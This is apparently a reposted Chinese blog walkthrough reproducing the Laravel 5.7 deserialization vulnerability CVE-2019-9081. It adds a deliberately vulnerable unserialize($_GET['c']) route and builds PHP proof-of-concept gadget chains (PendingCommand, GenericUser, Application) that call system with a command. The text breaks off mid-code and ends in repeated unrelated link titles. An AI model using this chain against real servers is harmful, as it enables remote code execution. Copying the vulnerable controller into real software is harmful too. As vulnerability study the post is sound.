laravel5.7 反序列化漏洞复现

Posted bfengj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了laravel5.7 反序列化漏洞复现相关的知识,希望对你有一定的参考价值。

前言

之前接触yii2,接下来就遇到laravel5.7的反序列化了,跟着大师傅们的文章复现了一下laravel5.7的反序列化链,学习了一波。
CVE编号是CVE-2019-9081:

The Illuminate component of Laravel Framework 5.7.x has a deserialization vulnerability that can lead to remote code execution if the content is controllable, related to the __destruct method of the PendingCommand class in PendingCommand.php.

去github上下载源码:
laravel5.7,下载下来的可能回没有vendor目录,需要在根目录执行composer install就可以了。

然后就是构造一个反序列化的利用点了,在routes/web.php里面加一条路由:

Route::get('/unserialize',"UnserializeController@uns");

然后在App\\Http\\Controllers下面写一个控制器:

<?php

namespace App\\Http\\Controllers;

class UnserializeController extends Controller

    public function uns()
        if(isset($_GET['c']))
            unserialize($_GET['c']);
        else
            highlight_file(__FILE__);
        
        return "uns";
    

准备工作就做完了,开始分析反序列化链。

反序列化链分析

有一说一这条链真要完完全全进行分析的话,需要一定的开发水平,因为像我这样第一次接触laravel的0开发小白+代码审计小白,利用上注释,能清晰的理解这条链上三分之一的代码就很难得了,所以这条链的审计给我的体会就是学会打断点,忽略掉无用代码(我看不懂的就是无用的,笑),只要一路下去能顺利执行,就不要管中间那些代码是干啥的。

和laravel5.6相比,laravel5.7多了PendingCommand.php这个文件:

该类的作用是命令执行,并获取输出内容。
看一下这个新增的类,发现有一个__destruct()。经过了之前yii2的审计,现在看到__destruct()就很兴奋:

$this->hasExecuted默认是false的,所以可以直接进入run方法:

    /**
     * Execute the command.
     *
     * @return int
     */
    public function run()
    
        $this->hasExecuted = true;

        $this->mockConsoleOutput();
        
        try 
            $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
         catch (NoMatchingExpectationException $e) 
            if ($e->getMethodName() === 'askQuestion') 
                $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
            

            throw $e;
        

        if ($this->expectedExitCode !== null) 
            $this->test->assertEquals(
                $this->expectedExitCode, $exitCode,
                "Expected status code $this->expectedExitCode but received $exitCode."
            );
        

        return $exitCode;
    

文档注释上写着Execute the command,我差点都以为这是开发留的后门了。。。
不过我们要明确一点,我们最终的目的就是这里:

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

所以跟进到$this->mockConsoleOutput();

    /**
     * Mock the application's console output.
     *
     * @return void
     */
    protected function mockConsoleOutput()
    
        $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
        ]);

        foreach ($this->test->expectedQuestions as $i => $question) 
            $mock->shouldReceive('askQuestion')
                ->once()
                ->ordered()
                ->with(Mockery::on(function ($argument) use ($question) 
                    return $argument->getQuestion() == $question[0];
                ))
                ->andReturnUsing(function () use ($question, $i) 
                    unset($this->test->expectedQuestions[$i]);

                    return $question[1];
                );
        

        $this->app->bind(OutputStyle::class, function () use ($mock) 
            return $mock;
        );
    

一堆我看不懂的代码,不过问题不大,只要可以正常执行到命令执行的call函数,就问题不大,写个POC试试:

<?php
namespace Illuminate\\Foundation\\Testing
    class PendingCommand
    
        protected $command;
        protected $parameters;
        public function __construct()
            $this->command="system";
            $this->parameters[]="dir";
        
    

namespace

    use Illuminate\\Foundation\\Testing\\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));


报错了:

Trying to get property 'expectedOutput' of non-object

打一下断点,发现是mockConsoleOutput()方法的这里:

$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
    (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);

跟进到createABufferedOutputMock()函数里

foreach ($this->test->expectedOutput as $i => $output) 

报错的原因就是因为$this->test没有expectedOutput这个属性。跟进一下这个属性,发现这个属性在trait InteractsWithConsole中,trait类我们没法实例化,此外就只有一些测试类有这个属性,因此这里就卡住了。这时候想到利用__get方法:

读取不可访问属性的值时,__get() 会被调用。

大师傅们经过寻找,选择了Illuminate\\Auth\\GenericUser类:

attributes是可控的,因此直接构造即可。
而且,会发现mockConsoleOutput()方法中也有类似的代码:

foreach ($this->test->expectedQuestions as $i => $question) 

因此这里同样构造即可:

<?php
namespace Illuminate\\Foundation\\Testing

    use Illuminate\\Auth\\GenericUser;

    class PendingCommand
    
        protected $command;
        protected $parameters;
        public $test;
        public function __construct()
            $this->command="system";
            $this->parameters[]="dir";
            $this->test=new GenericUser();
        
    

namespace Illuminate\\Auth
    class GenericUser
    
        protected $attributes;
        public function __construct()
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        
    

namespace

    use Illuminate\\Foundation\\Testing\\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));


再打一下,发现还是报错:

“Call to a member function bind() on null”

跟进一下,发现还是mockConsoleOutput方法,最后一行出了问题:

        $this->app->bind(OutputStyle::class, function () use ($mock) 
            return $mock;
        );

原因应该是没有构造$this->app,看一下这个app:

    /**
     * The application instance.
     *
     * @var \\Illuminate\\Foundation\\Application
     */
    protected $app;

说明是\\Illuminate\\Foundation\\Application的实例,构造一波:

<?php
namespace Illuminate\\Foundation\\Testing

    use Illuminate\\Auth\\GenericUser;
    use Illuminate\\Foundation\\Application;

    class PendingCommand
    
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct()
            $this->command="system";
            $this->parameters[]="dir";
            $this->test=new GenericUser();
            $this->app=new Application();
        
    

namespace Illuminate\\Foundation
    class Application
        
    


namespace Illuminate\\Auth
    class GenericUser
    
        protected $attributes;
        public function __construct()
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        
    

namespace

    use Illuminate\\Foundation\\Testing\\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));


还是报了错:

Target [Illuminate\\Contracts\\Console\\Kernel] is not instantiable

这就是这条链的构造上最难的点了,打断点看一下哪里的问题,发现是这里:

try 
    $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
 

没错,已经进行到了最关键的地方了,看到这个$this->app[Kernel::class]会很懵,$this->app不是application类的实例吗,为什么会当成数组?而Kernel::class又是什么?
Kernel::class是完全限定名称,返回的是一个类的完整的带上命名空间的类名,在laravel这里是Illuminate\\Contracts\\Console\\Kernel
打断点跟进看一下,发现进入了这个函数:

    /**
     * Get the value at a given offset.
     *
     * @param  string  $key
     * @return mixed
     */
    public function offsetGet($key)
    
        return $this->make($key);
    

注释也写的很清楚了,返回给定的offset的值,继续跟进make:

    /**
     * Resolve the given type from the container.
     *
     * @param  string  $abstract
     * @param  array  $parameters
     * @return mixed
     */
    public function make($abstract, array $parameters = [])
    
        return $this->resolve($abstract, $parameters);
    

继续跟进:

    /**
     * Resolve the given type from the container.
     *
     * @param  string  $abstract
     * @param  array  $parameters
     * @return mixed
     */
    protected function resolve($abstract, $parameters = [])
    
        $abstract = $this->getAlias($abstract);

        $needsContextualBuild = ! empty($parameters) || ! is_null(
            $this->getContextualConcrete($abstract)
        );

        // If an instance of the type is currently being managed as a singleton we'll
        // just return an existing instance instead of instantiating new instances
        // so the developer can keep using the same objects instance every time.
        if (isset($this->instances[$abstract]) && ! $needsContextualBuild) 
            return $this->instances[$abstract];
        

        $this->with[] = $parameters;

        $concrete = $this->getConcrete($abstract);

        // We're ready to instantiate an instance of the concrete type registered for
        // the binding. This will instantiate the types, as well as resolve any of
        // its "nested" dependencies recursively until all have gotten resolved.
        if ($this->isBuildable($concrete, $abstract)) 
            $object = $this->build($concrete);
         else 
            $object = $this->make($concrete);
        

        // If we defined any extenders for this type, we'll need to spin through them
        // and apply them to the object being built. This allows for the extension
        // of services, such as changing configuration or decorating the object.
        foreach ($this->getExtenders($abstract) as $extender) 
            $object = $extender($object, $this);
        

        // If the requested type is registered as a singleton we'll want to cache off
        // the instances in "memory" so we can return it later without creating an
        // entirely new instance of an object on each subsequent request for it.
        if ($this->isShared($abstract) && ! $needsContextualBuild) 
            $this->instances[$abstract] = $object;
        

        $this->fireResolvingCallbacks($abstract, $object);

        // Before returning, we will also set the resolved flag to "true" and pop off
        // the parameter overrides for this build. After those two things are done
        // we will be ready to return back the fully constructed class instance.
        $this->resolved[$abstract] = true;

        array_pop($this->with);

        return $object;
    

可以看到最终会返回一个object,我们是要调用这个object的call方法来执行命令,全局查找一下,这个执行命令的call方法到底在哪个类:

    /**
     * Call the given Closure / class@method and inject its dependencies.
     *
     * @param  callable|string  $callback
     * @param  array  $parameters
     * @param  string|null  $defaultMethod
     * @return mixed
     */
    public function call($callback, array $parameters = [], $defaultMethod = null)
    
        return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
    

发现在container类里,而构造的app的类是Application类,这个类正好也是container类的子类,所以最终返回这个Application的实例就可以了。
看一下resolve()方法的代码:

通过整体跟踪,猜测开发者的本意应该是实例化Illuminate\\Contracts\\Console\\Kernel这个类,但是在getConcrete这个方法中出了问题,导致可以利用php的反射机制实例化任意类。问题出在vendor/laravel/framework/src/Illuminate/Container/Container.php的704行,可以看到这里判断$this->bindings[$abstract])是否存在,若存在则返回$this->bindings[$abstract][‘concrete’]。

        $concrete = $this->getConcrete($abstract);

跟进看一下:

    /**
     * Get the concrete type for a given abstract.
     *
     * @param  string  $abstract
     * @return mixed   $concrete
     */
    protected function getConcrete($abstract)
    
        if (! is_null($concrete = $this->getContextualConcrete($abstract))) 
            return $concrete;
        

        // If we don't have a registered resolver or concrete for the type, we'll just
        // assume each type is a concrete name and will attempt to resolve it as is
        // since the container should be able to resolve concretes automatically.
        if (isset($this->bindings[$abstract])) 
            return $this->bindings[$abstract]['concrete'];
        

        return $abstract;
    

第一个if成立不了,主要是这里:

        if (isset($this->bindings[$abstract])yii2框架 反序列化漏洞复现

yii2框架 反序列化漏洞复现

yii2框架 反序列化漏洞复现

laravel5.8 反序列化漏洞复现

laravel5.8 反序列化漏洞复现

laravel5.8 反序列化漏洞复现